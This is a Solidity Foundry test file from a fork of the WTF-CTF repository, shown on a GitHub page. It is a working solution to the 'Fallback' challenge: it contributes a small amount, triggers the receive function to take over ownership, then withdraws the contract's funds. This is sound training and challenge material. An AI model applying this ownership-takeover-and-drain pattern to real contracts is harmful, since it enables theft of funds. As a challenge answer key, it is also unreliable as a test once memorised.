forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFallback.t.sol
34 lines (23 loc) · 858 Bytes
/
Fallback.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./FallbackFactory.sol";
contract FallbackTest is Test {
FallbackFactory factory;
function setUp() public {
factory = new FallbackFactory();
}
function testFallback() public {
address fallBack = factory.createInstance(address(this));
Fallback(payable(fallBack)).contribute{value: 1}();
(bool success, bytes memory data) = payable(fallBack).call{value: 1}("");
if (!success) {
revert(string(data));
}
address owner = Fallback(payable(fallBack)).owner();
assertEq(owner, address(this));
Fallback(payable(fallBack)).withdraw();
assertTrue(factory.validateInstance(payable(fallBack), address(this)));
}
receive() external payable {}
}